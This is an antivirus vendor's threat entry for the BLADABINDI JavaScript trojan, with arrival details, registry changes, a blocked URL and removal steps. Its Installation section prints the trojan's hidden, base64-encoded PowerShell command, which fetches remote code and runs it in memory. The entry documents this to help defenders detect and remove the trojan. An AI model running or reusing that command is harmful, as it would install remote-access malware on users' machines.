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Trojan.JS.BLADABINDI.AC

November 27, 2019
 Analysis by: Henry Alarcon Jr.
 PLATFORM:

Windows

 OVERALL RISK RATING:
 DAMAGE POTENTIAL:
 DISTRIBUTION POTENTIAL:
 REPORTED INFECTION:
 INFORMATION EXPOSURE:

  • Threat Type: Trojan

  • Destructiveness: No

  • Encrypted:

  • In the wild: Yes

  OVERVIEW

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

  TECHNICAL DETAILS

File Size:

2,249 bytes

File Type:

JS

Initial Samples Received Date:

25 Nov 2019

Arrival Details

This Trojan arrives on a system as a file dropped by other malware or as a file downloaded unknowingly by users when visiting malicious sites.

Installation

This Trojan adds the following processes:

  • powershell -noP -sta -w 1 -enc WwBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAHUAc
    gByAGUAbgB0AEQAbwBtAGEAaQBuAC4ATABvAGE
    AZAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAH
    IAbwBtAGIAYQBzAGUANgA0AFMAdAByAGkAbgBnA
    CgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgB
    lAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AR
    ABvAHcAbgBsAG8AYQBkAHMAdAByAGkAbgBnACgA
    JwBoAHQAdABwAHMAOgAvAC8AYQByAGMAaABpA
    HYAZQAuAG8AcgBnAC8AZABvAHcAbgBsAG8AYQBk
    AC8AaQBuAGQAZQB4AF8AMgAwADEAOQAxADEAM
    QAyAF8AMAA3ADAAOAAvAGkAbgBkAGUAeAAuAGg
    AdABtAGwAJwApAC4AcgBlAHAAbABhAGMAZQAoAC
    IAPgAiACwAIgBBACIAKQApACkALgBFAG4AdAByAH
    kAUABvAGkAbgB0AC4AaQBuAHYAbwBrAGUAKAAk
    AG4AdQBsAGwALAAkAG4AdQBsAGwAKQA=

Other System Modifications

This Trojan adds the following registry keys:

RegKey: HKEY_CURRENT_USER\Software\165d6ed988ac

It adds the following registry entries:

RegKey: HKEY_CURRENT_USER\Software\165d6ed988ac
[kl] =

Other Details

This Trojan connects to the following possibly malicious URL:

  • https://{BLOCKED}e.org/download/index_20191112_0708/index.html

  SOLUTION

Minimum Scan Engine:

9.850

FIRST VSAPI PATTERN FILE:

15.522.04

FIRST VSAPI PATTERN DATE:

26 Nov 2019

VSAPI OPR PATTERN File:

15.523.00

VSAPI OPR PATTERN Date:

27 Nov 2019

Step 1

Before doing any scans, Windows 7, Windows 8, Windows 8.1, and Windows 10 users must disable System Restore to allow full scanning of their computers.

Step 2

Note that not all files, folders, and registry keys and entries are installed on your computer during this malware's/spyware's/grayware's execution. This may be due to incomplete installation or other operating system conditions. If you do not find the same files/folders/registry information, please proceed to the next step.

Step 3

Identify and terminate files detected as Trojan.JS.BLADABINDI.AC

[ Learn More ]
  1. Windows Task Manager may not display all running processes. In this case, please use a third-party process viewer, preferably Process Explorer, to terminate the malware/grayware/spyware file. You may download the said tool here.
  2. If the detected file is displayed in either Windows Task Manager or Process Explorer but you cannot delete it, restart your computer in safe mode. To do this, refer to this link for the complete steps.
  3. If the detected file is not displayed in either Windows Task Manager or Process Explorer, continue doing the next steps.

Step 4

Delete this registry key

[ Learn More ]

Important: Editing the Windows Registry incorrectly can lead to irreversible system malfunction. Please do this step only if you know how or you can ask assistance from your system administrator. Else, check this Microsoft article first before modifying your computer's registry.

 
  • In HKEY_CURRENT_USER\Software\165d6ed988ac

Step 5

Scan your computer with your Trend Micro product to delete files detected as Trojan.JS.BLADABINDI.AC. If the detected files have already been cleaned, deleted, or quarantined by your Trend Micro product, no further step is required. You may opt to simply delete the quarantined files. Please check the following Trend Micro Support pages for more information:


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